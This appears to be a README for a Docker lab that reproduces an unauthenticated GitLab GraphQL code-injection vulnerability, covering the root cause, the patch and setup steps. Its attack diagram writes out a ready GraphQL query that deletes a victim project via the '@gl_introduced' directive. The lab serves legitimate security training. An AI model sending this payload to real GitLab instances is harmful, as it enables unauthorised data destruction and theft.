Dockerized exploit lab and script for CVE-2026-19478, a critical unauthenticated GitLab GraphQL code injection enabling arbitrary Ruby method calls, project deletion, and data exfiltration.
Unauthenticated Remote Code Injection via GraphQL Directive in GitLab CE/EE — Delete Any Public Project With a Single HTTP Request
A hands-on penetration testing lab that reproduces CVE-2026-19478, a critical (CVSS 9.4) vulnerability in GitLab's GraphQL API. The @gl_introduced directive allows unauthenticated attackers to execute arbitrary Ruby methods on server-side objects — including project deletion, data exfiltration, and ownership transfer — with zero authentication.
This lab runs a real vulnerable GitLab CE 19.2.0 instance in Docker for realistic exploitation practice.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-19478 |
| CVSS Score | 9.4 (Critical) |
| Product | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| Vulnerability Type | Code Injection / Arbitrary Method Execution (CWE-94) |
| Attack Vector | Network (Remote) |
| Authentication | None required |
| User Interaction | None |
| Attack Complexity | Low |
| Affected Versions | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| Patched Versions | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Discovered By | hiimguardian (via HackerOne) |
| Patch Date | August 17, 2026 |
An unauthenticated remote attacker can:
GitLab uses a custom GraphQL directive @gl_introduced(version: "X.Y") to support rolling deployments. When a newer GitLab version adds a field to the GraphQL API, older instances handle queries referencing those new fields gracefully by returning null instead of erroring.
File: lib/gitlab/graphql/version_filter/future_field_fallback.rb (Lines 14-36)
Step-by-step breakdown:
FutureFieldFilter scans incoming GraphQL queries. When a field has @gl_introduced(version) with a version newer than the current server, it strips the field and sets context[:contain_future_fields] = true.
IntroducedTracer restores the original query document at execution time, putting the stripped fields back into the AST.
FutureFieldFallback#get_field intercepts every field lookup during execution. It checks three conditions:
contain_future_fields flag set? ✅__? ✅When all three checks pass, it synthesizes a new GraphQL::Schema::Field with no resolver class.
In graphql-ruby, a field without a resolver resolves by calling object.public_send(field_name) on the underlying Ruby object — converting the attacker's field name into an arbitrary method call on the Project ActiveRecord model.
GitLab's patch replaces implicit method dispatch with an explicit NilResolver that returns nil unconditionally, preserving rolling-deploy compatibility while eliminating arbitrary method execution:
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL
# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← always returns nil
ATTACKER (unauthenticated)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ GitLab GraphQL API │
│ (no auth required) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" has @gl_introduced│
│ version 99.0 > 19.2.0 │
│ → Strip field │
│ → Set contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restore original query │
│ "destroy" is back in AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" not in schema? ✓ │
│ Flag set? ✓ │
│ Not __introspection? ✓ │
│ → Synthesize field │
│ → NO RESOLVER attached │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. graphql-ruby resolution │
│ No resolver found → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJECT DELETED ██ │
└──────────────────────────────┘
curl / httpie for API testing# Clone or navigate to the lab directory
cd CVE-2026-19478
# Pull and start the vulnerable GitLab instance
docker compose up -d
# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable
# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh
| Service | URL | Credentials |
|---|---|---|
| GitLab Web UI | http://localhost | root / P@ssw0rd123! |
| GraphQL API | http://localhost/api/graphql | None required |
| GraphQL Explorer | http://localhost/-/graphql-explorer | Login required |
| SSH | localhost:2222 | — |
For machines with limited resources or for faster startup:
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000
# Stop the lab
docker compose down
# Full reset (removes all data volumes)
docker compose down -v